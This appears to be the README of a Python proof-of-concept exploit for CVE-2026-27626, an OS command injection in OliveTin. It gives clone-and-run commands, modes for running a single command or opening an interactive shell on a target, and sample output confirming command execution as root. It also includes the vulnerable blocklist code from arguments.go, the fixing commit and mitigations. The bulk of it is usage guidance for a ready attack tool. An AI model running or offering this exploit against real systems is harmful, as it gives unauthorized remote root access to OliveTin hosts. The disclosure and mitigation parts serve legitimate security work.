
Python proof-of-concept for CVE-2026-27626: discovers OliveTin password-typed arguments, breaks out of sh -c quoting to inject commands, and provides an interactive shell.
A small proof-of-concept for CVE-2026-27626, an OS command injection in OliveTin.
OliveTin's Shell-mode safety check blocks several dangerous argument types
before a value reaches sh -c, but it forgets password. A password-typed
argument therefore accepts shell metacharacters and escapes the action
template's quoting. Anyone who can reach the API gets command execution as the
OliveTin process, and root when OliveTin is (mis)configured to run as root.
Warning: for authorized security testing only. Use this against systems you own or have explicit permission to test.
| Item | Details |
|---|---|
| Affected | OliveTin <= 3000.10.0 |
| Fixed | commit 4bbd2ea |
| CVSS v3.1 | 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, CWE-78) |
| Advisory | GHSA-49gm-hh7w-wfvf |
Python 3.7+. Standard library only, no dependencies.
git clone https://github.com/Shisones/CVE-2026-27626.git
cd CVE-2026-27626
chmod +x exploit.py
./exploit.py --check # is it vulnerable? (exploits nothing)
./exploit.py --cmd 'id' # run one command
./exploit.py --cmd 'id' -u http://10.0.0.5:1337
./exploit.py --shell # interactive shell
The action and argument are auto-discovered. If discovery is restricted, point it at a specific injection point:
./exploit.py -a backup_database -n db_pass --cmd 'id'
-u, --url URL OliveTin base URL (default: http://127.0.0.1:1337)
-a, --action BINDING Force the action bindingId
-n, --arg NAME Force the password argument name
-v, --verbose Show request details
-h, --help Show this help
Modes (mutually exclusive):
--check Passive check only (never triggers an action)
--cmd CMD Run one command and print its output
--shell Interactive command shell
$ ./exploit.py --check
[*] Target: http://127.0.0.1:1337
[*] Mode: passive check (no action will be triggered)
[*] Server version: 3000.10.0
[!] Version 3000.10.0 is in the affected range
[+] Injection point: action 'backup_database', argument 'db_pass'
[+] Target appears VULNERABLE to CVE-2026-27626
[*] Exploit with --cmd '<command>' or --shell
$ ./exploit.py --cmd 'id'
[*] Target: http://127.0.0.1:1337
[*] Injection point: action 'backup_database', argument 'db_pass'
[*] Testing 6 break-out pattern(s)...
[+] Command injection confirmed as root: uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
GetDashboard and finds an action that exposes a
password-typed argument (canExec enabled).id executes. The action template's
quoting is not exposed by the API, so a few common patterns are tried (-v
shows each one).The vulnerable code is checkShellArgumentSafety() in
service/internal/executor/arguments.go, whose blocklist omits password while
values are interpolated into a sh -c string:
unsafe := map[string]bool{
"url": true, "email": true,
"raw_string_multiline": true, "very_dangerous_raw_string": true,
// "password" is absent <-- the bug
}
4bbd2eab1532.exec actions, or avoid user-controlled values in sh -c templates.authRequireGuestsToLogin: true and restrict the API to trusted networks.Provided for authorized security testing, research and education. You are responsible for complying with all applicable laws. The authors accept no liability for misuse or damage caused by this tool.